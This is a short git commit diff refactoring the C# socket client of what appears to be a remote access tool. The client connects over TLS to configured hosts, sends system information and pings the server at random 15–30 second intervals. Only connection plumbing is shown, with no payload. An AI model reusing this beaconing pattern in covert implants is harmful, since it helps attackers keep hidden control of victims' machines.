Update clientSocket

This commit is contained in:
NYAN CAT 2019-05-29 19:58:12 +03:00
parent 052fe588f4
commit 5a0c10940e
2 changed files with 19 additions and 39 deletions

View File

@ -60,23 +60,16 @@ namespace Client.Sockets
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
} }
} }
if (Client.Connected)
{ Debug.WriteLine("Connected!");
Debug.WriteLine("Connected!"); IsConnected = true;
IsConnected = true; SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4];
Buffer = new byte[4]; MS = new MemoryStream();
MS = new MemoryStream(); Send(Methods.SendInfo());
Send(Methods.SendInfo()); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
} }
catch catch
{ {

View File

@ -28,7 +28,6 @@ namespace Client.Sockets
public SslStream SslClient { get; set; } public SslStream SslClient { get; set; }
private byte[] Buffer { get; set; } private byte[] Buffer { get; set; }
private long Buffersize { get; set; } private long Buffersize { get; set; }
// private Timer Tick { get; set; }
private MemoryStream MS { get; set; } private MemoryStream MS { get; set; }
public bool IsConnected { get; set; } public bool IsConnected { get; set; }
private object SendSync { get; } = new object(); private object SendSync { get; } = new object();
@ -47,17 +46,13 @@ namespace Client.Sockets
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
if (Client.Connected) Debug.WriteLine("Temp Connected!");
{ IsConnected = true;
Debug.WriteLine("Temp Connected!"); SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
IsConnected = true; SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); Buffer = new byte[4];
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); MS = new MemoryStream();
Buffer = new byte[4]; SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
MS = new MemoryStream();
// Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
} }
catch catch
{ {
@ -80,7 +75,7 @@ namespace Client.Sockets
try try
{ {
// Tick?.Dispose(); // Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
Client?.Dispose(); Client?.Dispose();
MS?.Dispose(); MS?.Dispose();
@ -92,7 +87,7 @@ namespace Client.Sockets
{ {
try try
{ {
if (!Client.Connected || !IsConnected) if (!ClientSocket.IsConnected || !IsConnected)
{ {
IsConnected = false; IsConnected = false;
Dispose(); Dispose();
@ -178,13 +173,5 @@ namespace Client.Sockets
} }
} }
} }
public void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
Send(msgpack.Encode2Bytes());
}
} }
} }